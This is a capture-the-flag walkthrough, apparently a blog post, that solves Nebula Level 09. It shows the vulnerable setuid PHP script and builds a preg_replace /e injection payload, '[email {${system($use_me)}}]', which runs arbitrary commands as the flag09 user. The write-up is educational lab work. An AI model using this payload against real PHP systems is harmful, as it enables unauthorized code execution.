Nebula Level 09

Level 09 instrcutions

About
There’s a C setuid wrapper for some vulnerable PHP code…

To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>


To start I checkout the flag09 home folder

ls -al /home/flag09
total 13
drwxr-x--- 2 flag09 level09   98 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag09 flag09   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag09 flag09  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php
-rw-r--r-- 1 flag09 flag09   675 2011-05-18 02:54 .profile

As expected there is the php source code and a executable file with the setuid flag used to launch the php code as the flag09 user. The flag09.php file only has read permissions so I can’t just edit the code. I’ll need to find a vulnerability in the php code to trick it into running different commands.

Basically the php code first defines two functions, spam and markup. Then the program calls the markup function using whatever two command line parameters are passed to the program. Finally it just prints the return value of the markup function. Since most of the work is being done in the markup function I focus there.

The markup function takes in two values, filename and use_me. On line 13 file_get_contents runs with the value of $filename. This does exactly what it sounds like. It will read the contents of a file with whatever name you give it. This is interesting since we could use it to read any file on the server that is owned by flag09. I need to run code though and not just read files so I continue on.

Lines 15-17 all run preg_replace against the contents of the file that was read. preg_replace uses a regular expression to search for patterns in a string and replace them with something else.  For example you could replace every instance of the word “cool” with the word “neat” in a paragraph.  On line 15 the spam function is called but it also just runs preg_replace a couple more times.

At first glance nothing in the code seems like it would be easily tricked into running other code or programs. My next step is to jump on google and look for any known flaws with the file_get_contents or preg_replace php functions since they are doing all of the work in this program. The search for “file_get_contents vulnerability” turns up a couple of hits warning about local/remote file include tricks. That is to be expected. Like I mentioned before we could read any file as flag09 user. I think turning that into a code execution exploit could be a lot of work or not even possible in this case.

My search for “preg_replace vulnerability” turns up more interesting results. After reading a little about the vulnerabilities it looks like preg_replace could accept the /e option that would evaluate php code, effectively running eval(). eval() can be used to run strings as php code so there should be a way to trick the program into running whatever command I want. The php bug report can be found here. This functionality was removed at some point and replaced with a different function but it looks like this target is still using the old version and the /e flag is used on line 15 of the code. Here is how the bug report example works.

First a local variable is set with a private value. The programmer would assume this variable is safe because it is never printed to the output. In this example it contains a password

$exploited = 'my password';

The example program defines a function called highlight_php which alters a sting and returns it. It acts like a simpler version of the challenges spam function…

function highlight_php($txt)
{
    return "<pre>$txt</pre>";
}

Finally the example code outputs the result of a call to preg_replace

echo preg_replace('#\
[PHP\](.*?)\[/PHP\]#sie', 'highlight_php("\\1")', $exploit);

This code is exploitable with this input

$exploit = 
$exploited

';

So what happens in the example is that preg_replace looks for a regex match for (.*?) which is basically anything.
Anything that matches will be passed to the function highlight_php. You would expect the program to output

<pre>
$exploited

]</pre>

However since the e flag is set the expression is evaluated which means it is basically executed. The output ends up being the value of $exploited which is

my password

It looks like this trick should apply to the challenge but it will be a little tricky to get the syntax correct. My first test is to see if I can actually access the values of parameters in the script. The challenge code checks for the regex expression (\[email (.*)\]) so if I want to trigger the eval my string needs to look like this

[email ]

I can stick whatever I want in the middle of the string and the regex should still be triggered. To see if I can access the value of a parameter I create a file with just the following contents.

[email $use_me]

Then I run the flag09 program and pass it my file as arg1 and a random string as arg2. Arg2 should end up in the $use_me variable so it should get printed back to the screen.

/home/flag09/flag09 "/home/level09/my_file.txt" "does it work?"
does it work?

Good. So now I need to do something more useful that output the contents of a variable. I start by trying to replace “$use_me” with a simple php command using the following file

[email phpinfo()]

The output is not what I wanted. It just repeats “phpinfo()” back to me.

I’m no PHP expert so I had to do some research on string expressions. I found myself in the php documentation here.

I looked for ways to reference functions return values using a string. After trying a few options this example stuck out to me

echo "This is the value of the var named by the return value of getName(): {${getName()}}";

So I give that syntex a shot with the following file

[email {${phpinfo()}}]

I run the flag08 program again, this time the use_me parameter is not important.

/home/flag09/flag09 /home/level09/my_file.txt whatever

I wont paste the output here because it’s long and unimportant but the function did execute and print the results!

So I replace the phpinfo() function with getflag but I end up getting stopped by the following error message

PHP Parse error:  syntax error, unexpected T_NS_SEPARATOR, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code: 
spam("{${system(\\\"/bin/getflag\\\")}}") in /home/flag09/flag09.php on line 15

It looks like my backslashes are getting escaped. I had more luck with special characters when I was using the $use_me variable so I try to combine my two methods. First I make this file

[email {${system($use_me)}}]

Then I try passing my commands as the second command line parameter.

/home/flag09/flag09 /home/level09/my_file.txt getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

That was a rough one…

Leave a Reply

Your email address will not be published. Required fields are marked *